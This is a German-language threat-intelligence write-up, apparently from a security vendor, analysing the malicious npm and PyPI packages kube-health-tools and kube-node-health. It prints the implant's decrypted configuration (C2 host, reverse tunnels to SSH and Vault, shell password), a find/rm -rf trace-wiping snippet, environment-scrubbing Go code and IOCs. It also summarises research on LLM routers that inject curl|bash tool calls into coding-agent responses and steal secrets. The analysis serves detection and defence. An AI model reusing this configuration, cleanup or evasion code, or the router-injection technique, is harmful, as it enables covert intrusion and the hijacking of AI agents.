Wir haben kürzlich zwei schädliche Pakete auf npm entdeckt (kube-health-tools) und PyPI (kube-node-health), die offenbar speziell auf Kubernetes-Umgebungen abzielen. Beide Pakete wirken auf den ersten Blick harmlos und verwenden Namen, die auf Kubernetes verweisen, um legitim zu erscheinen. Im Hintergrund installieren sie jedoch unbemerkt einen vollständigen LLM-Proxy-Dienst auf dem Rechner des Opfers, wodurch der Angreifer den LLM-Datenverkehr über den kompromittierten Server leiten kann, als wäre dieser nur ein weiterer Relaisknoten in einer kommerziellen KI-Weiterverkaufsplattform.
Phase 1: Die Aussteiger
Beide Pakete enthalten eine kompilierte native Binärdatei als Nutzlast.
Die beiden Dateien der Stufe 1 sind:
__init___cpython-311-x86_64-linux-gnu.so(PyPI-Paket)addon.node(npm-Paket)
Beides sind native Binärdateien, die beim Import oder bei require(). Das .so ist eine mit Cython kompilierte Python-Erweiterung; die .node ist ein natives Node.js-Add-on. Beide laden eine Stage-2-Binärdatei von GitHub herunter. Die verschlüsselte URL im PyPI-Dropper führt zu:
https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packedDer npm-Dropper ruft eine leistungsfähigere Variante aus derselben Version ab:
https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packedBeide Binärdateien werden in /tmp/.kh, als ausführbar markiert und sofort gestartet.
Beide Dropper enthalten zudem XOR-verschlüsselte Konfigurationsblobs, die beim Start direkt in die Stage-2-Binärdatei eingelesen werden. Die Stage-2-Binärdatei liest die Konfiguration aus der Standard-Eingabe, entschlüsselt sie und verwendet sie als Laufzeitkonfiguration:
{
"server": "https://sync[.]geeker[.]indevs[.]in",
"auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
"tunnels": [
"R:4444:127.0.0.1:0",
"R:4446:127.0.0.1:22",
"R:4445:127.0.0.1:8200"
],
"shell": {
"enabled": true,
"password": "123qweASD",
"auth_keys": []
},
"disguise": {
"process_name": "node-health-check",
"argv": "--mode=daemon"
},
"keepalive": "25s",
"max_retry_interval": "30s",
"headers": {
"User-Agent": "Mozilla/5.0"
},
"tls_skip_verify": true
}Die Konfiguration gibt Aufschluss über verschiedene Aspekte des Betriebs. Der Command-and-Control-Server (C2) ist sync[.]geeker[.]indevs[.]in, authentifiziert mit fest programmierten Anmeldedaten (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). Der „disguise“-Block weist das Implantat an, seinen Prozess als node-health-check --mode=daemon, die sich in einer Prozessliste nahtlos in die regulären Befehle einfügen.
Die drei Reverse-Tunnel in der Konfiguration ordnen jeweils einen Port auf dem C2-Server des Angreifers einem lokalen Dienst auf dem Rechner des Opfers zu:
- Port 4444 Routen nach
127.0.0.1:0(der LLM-Proxy) - Port 4446 Routen nach
127.0.0.1:22(der SSH-Server des Opfers) - Port 4445 Routen nach
127.0.0.1:8200(Der Standardport von HashiCorp Vault, einem in Kubernetes-Umgebungen häufig verwendeten secrets )
Die npm-Variante enthält zudem einen Ngrok-Fallback, der einen vom C2 bereitgestellten Pool von Ngrok-Konten durchläuft und den Server des Opfers über einen öffentlichen Endpunkt zugänglich macht.
Nach dem Start der Binärdatei der zweiten Stufe löscht das Dropper-Skript aktiv alle Spuren seiner eigenen Ausführung. Es löscht die heruntergeladene Binärdatei aus /tmp/.kh, löscht eine zweite temporäre Datei unter /tmp/.nsund löscht dann vor allem rekursiv das gesamte kube-health-tools Paketverzeichnis aus node_modules:
sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -Pfad "*/node_modules/*" -exec rm -rf {} + 2>/dev/nullInnerhalb von zwei Sekunden nach dem Start der Binärdatei der Stufe 2 sind alle Spuren der Installation verschwunden. Eine forensische Untersuchung nach dem Vorfall von node_modules wird nichts finden.
Phase 2: Fernzugriffstrojaner
Die Binärdatei der Stufe 2 ist eine kompilierte Go-Binärdatei, in der mehrere Funktionen in einer einzigen ausführbaren Datei zusammengefasst sind. Sie stellt eine Verbindung zu sync[.]geeker[.]indevs[.]in über WebSocket, baut eine SSH-Sitzung auf und verwendet eine Tunnelbau mit Meißel Protokoll zur Registrierung der in der Konfiguration definierten Tunnel.
Das Implantat nutzt Chisel-Tunneling über WebSocket:
- SOCKS5-Proxy: Die Binärdatei kann einen vollständigen SOCKS5-Proxy bereitstellen, wodurch der Angreifer beliebigen TCP-Datenverkehr durch das Netzwerk des Opfers leiten kann.
- Reverse-Shell: Konfiguriert mit dem Passwort (
123qweASD) im Konfigurationsblock des Droppers, wodurch ein vollwertiges interaktives Terminal bereitgestellt wird. - SFTP-Server: Enthält einen vollwertigen SFTP-Server, der dem Angreifer vollständigen Lese- und Schreibzugriff auf das Dateisystem gewährt.
- LLM-Proxy: Ein OpenAI-kompatibles API-Gateway, das Anfragen entgegennimmt und diese über vom Angreifer bereitgestellte Router weiterleitet.
Die Binärdatei sorgt dafür, dass sie sich nach dem Start tarnt. Sie benennt ihren Prozess um in Knoten-Zustandsprüfung mit dem Argument --mode=daemon, wodurch es sich in einer Prozessliste nahtlos in die regulären Tools einfügt. Außerdem werden alle relevanten Umgebungsvariablen sofort beim Start bereinigt:
func ClearEnv() {
for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
os.Unsetenv(name)
}
const aesKey = "s0m3R4nd0mK3y2026xYz"
for _, kv := range os.Environ() {
parts := strings.SplitN(kv, "=", 2)
if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
os.Unsetenv(parts[0])
}
}
}
Dadurch wird sichergestellt, dass, falls ein KH_CFG oder NHC_CFG Sobald die Variable „operator-override“ gesetzt wurde, verschwindet sie aus der Umgebung, bevor sie bei einer Überprüfung gefunden werden kann.
Der LLM-Proxy
Das Implantat enthält einen voll funktionsfähigen, OpenAI-kompatiblen LLM-Proxy, der direkt in die Binärdatei der Stufe 2 eingebettet ist. Es scheint sich um ein API-Gateway zu handeln, das Anfragen entgegennimmt und an vorgelagerte APIs weiterleitet, darunter auch chinesische LLM-Router wie shubiaobiao.
Der Proxy stellt vier eingehende Routen bereit, die über den Tunnel erreichbar sind:
GET /health→ 200 OKGET /v1/models→ Alle konfigurierten Modelle auflistenPOST /v1/chat/completions→ Weiterleitung an den UpstreamPOST /v1/completions→ Weiterleitung an den Upstream
Wenn eine Anfrage eingeht /v1/chat/Vervollständigungen, der Bevollmächtigte:
- Liest die
ModellFeld aus dem Anfragetext - Sucht den Modellnamen in einer vom C2 bereitgestellten Routing-Tabelle
- Wählt einen API-Schlüssel entweder aus dem
key_normaloderkey_ultraPool, je nach KonfigurationSchlüsselartFeld - Schreibt die Anfrage unter Verwendung des Upstream-Hosts, des Pfads und des Bearer-Authentifizierungstokens neu.
- Leitet die Anfrage weiter und überträgt die Antwort zurück
Anhand der im Binärprogramm gefundenen Strings für den Upstream-Pfad ordnet die Routing-Tabelle Modellnamen Pfaden wie diesen zu:
https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completionsDer /gpt-proxy/ Das Pfadpräfix in Verbindung mit Anbieternamen wie „shubiaobiao“, „cloudsway“ und „volengine“ deutet eher auf zwischengeschaltete Aggregatoren als auf offizielle Anbieter-APIs hin. Weder api.openai.com noch api.anthropic.com irgendwo in der Binärdatei vorkommen.
Die Binärdatei enthält 109 fest codierte Modellnamenszeichenfolgen, die zur Erstellung der Antwort unter /v1/models verwendet werden. Sie umfassen die wichtigsten Anbieter von Frontier-Modellen, darunter Modelle von Anthropic (claude-opus-4.6, claude-sonnet-4.6-denken), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-Vorschau, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7) und Alibaba (qwen3-235b-a22b-Anleitung-2507).
Das chinesische Proxy-Ökosystem
Der Betrieb von Proxy-Servern auf kompromittierten Rechnern ist ein wiederkehrendes Phänomen in der chinesischen Bedrohungslandschaft, das zum Teil auf die durch die „Great Firewall“ auferlegten Einschränkungen zurückzuführen ist. Zuvor, AhnLab Es wurde festgestellt, dass Angreifer Tools wie TinyProxy und Sing-box auf anfälligen Honeypot-Servern einsetzten, um verdeckte Proxy-Dienste zu betreiben. Tatsächlich wurde auf dem GitHub-Konto gibunxi4201, auf dem sich die Nutzlast der zweiten Stufe befindet, scheint in seiner Versionshistorie weitere Projekte im Zusammenhang mit Proxys zu enthalten, was mit einem Betreiber übereinstimmt, dessen Schwerpunkt in erster Linie auf der Proxy-Infrastruktur liegt.

Diese Proxy-Tools werden häufig auf anfälligen Servern für kostenlose Proxy-IPs eingesetzt, aber auch auf kostenlosen Diensten wie HuggingFace, Databricks und Streamlit, um das Internet ohne Einschränkungen durch die Great Firewall zu nutzen. Das Muster ist immer dasselbe: Man sucht sich eine kostengünstige oder kompromittierte Ressource und verwandelt sie in einen kostenlosen Proxy-Server.
Chinesische Entwickler haben aufgrund regionaler Sperren oft keinen Zugriff auf KI-Modelle. Dies hat zu einem boomenden Schwarzmarkt für den Zugriff auf LLM-APIs geführt. Chinesische Plattformen wie Xianyu, Goofish und Taobao sind voll von Angeboten von Verkäufern, die über Router-Endpunkte (wie sie in dieser Malware zu finden sind) Zugriff auf ChatGPT, Claude und Gemini zu einem Bruchteil der offiziellen Preise anbieten. Es gibt sogar Verkäufer, die Kurse anbieten, in denen vermittelt wird, wie man mit dem Betrieb eigener LLM-Router Geld verdienen kann.

Bösartige LLM-Router
LLM-Router wie der hier eingesetzte bieten nicht nur einen kostengünstigen Zugang zu KI, sondern befinden sich zudem an einer Vertrauensgrenze, die leicht missbraucht werden kann. Da jede Anfrage im Klartext durch den Router läuft, kann ein böswilliger Betreiber, wie von Hanzhi Liu et al. dokumentiert :
- Schleusen Sie bösartige Tool-Aufrufe in die Antworten der Programmieragenten ein, bevor diese den Client erreichen, und fügen Sie so bösartige
pip installodercurl | bashNutzlasten während des Fluges - Entwendet heimlich secrets Anfrage- und Antworttexten, darunter API-Schlüssel, AWS-Anmeldedaten, GitHub-Token, private Ethereum-Schlüssel und Systemaufforderungen
Die Forscher stellten fest, dass in einem Korpus von 428 handelsüblichen Routern 9 aktiv Schadcode in zurückgegebene Tool-Aufrufe einschleusten und 17 auf die AWS-Canary-Anmeldedaten der Forscher zugreifen konnten, nachdem sie diese während der Übertragung abgefangen hatten.
Zwar fanden wir bei diesem konkreten Implantat keine Hinweise auf eine Injektion oder Exfiltration, doch jeder Entwickler, dessen KI-Codierungstools über einen kompromittierten Rechner laufen, leitet faktisch sein gesamtes Kontextfenster über einen vom Angreifer kontrollierten Relaisknoten weiter.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikidos Endpoint Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Denken Sie für zukünftige Sicherheit an Aikido Chain (Open Source). Safe Chain lässt sich in Ihren bestehenden Arbeitsablauf integrieren, fängt Befehle wie npm, npx, yarn, pnpm und pnpx ab und überprüft Pakete vor der Installation anhand von Aikido .
IOCs
Schädliche Pakete
- PyPI:
kube-node-health - npm:
kube-health-tools
Datei-Hashes
-
__init___cpython-311-x86_64-linux-gnu.so(PyPI Stufe 1)- SHA256:
b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
- SHA256:
-
addon.node(npm Stufe 1)- SHA256:
5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
- SHA256:
kube-diag-linux-amd64-packed(PyPI-Variante der Stufe 2)- SHA256:
fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
- SHA256:
kube-diag-full-linux-amd64-packed(Stufe 2, npm-Variante)- SHA256:
3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300
- SHA256:
Netzwerkindikatoren
- C2-Server:
sync[.]geeker[.]indevs[.]in - Download für Stufe 2:
github[.]com/gibunxi4201/kube-node-diag
Prozessindikatoren
- Prozessname:
Knoten-Zustandsprüfung - Temporäre Download-Pfade:
/tmp/.khund/tmp/.ns

